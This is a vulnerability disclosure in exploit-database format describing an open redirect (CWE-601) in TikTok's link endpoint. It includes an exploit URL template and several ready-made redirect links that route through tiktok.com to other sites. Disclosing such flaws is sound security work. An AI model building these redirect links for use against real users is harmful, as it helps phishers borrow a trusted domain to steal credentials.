####################################################################
# Exploit Title : TikTok Social Media Platform Open Redirection Vulnerability
# Author [ Discovered By ] : KingSkrupellos
# Date : 30.05.2022
# Official Homepage : https://www.tiktok.com/
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Low
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# CWE-601 Mitre Source : https://cwe.mitre.org/data/definitions/601.html
# CWE-601 CVEDetails Source : https://www.cvedetails.com/cwe-details/601/URL-Redirection-to-Untrusted-Site-039-Open-Redirect-039-.html
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
####################################################################
# Impact :
***********
Description =>
A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.
Extended Description =>
An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.
Background Details =>
Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.
Architecture and Design Implementation =>
Mission : This weakness is caused by missing a security tactic during the architecture and design phase.
Access Control =>
The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.
Access Control Confidentiality =>
The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.
####################################################################
# Open Redirection Vulnerable File :
********************************
/link/v2?aid=
# Open Redirection Vulnerable Parameter :
***************************************
?id=MTA0&link=
# Open Redirection Exploit :
**************************
1988&lang=en&scene=bio_url&target=[https://www.EXAMPLESITE.gov]
####################################################################
# Example Vulnerable Sites :
*************************
Tiktok Open Redirection to Google Translate
https://www.tiktok.com/link/v2?aid=1988&lang=en-EN&scene=bio_url&target=https://translate.google.com/
Tiktok Open Redirection to Yandex Search Engine
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://yandex.ru/
Tiktok Open Redirection to Youtube
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://www.youtube.com/
Tiktok Open Redirection to CXSecurity
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://cxsecurity.com/
Tiktok Open Redirection to Facebook
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://www.facebook.com/
Tiktok Open Redirection to Twitter
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://twitter.com/
Tiktok Open Redirection to Instagram
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://www.instagram.com/
Tiktok Open Redirection to Wikipedia
https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://en.wikipedia.org/wiki/Main_Page
####################################################################
# Discovered By KingSkrupellos Digital Security Technological Moslem Hacker Army
####################################################################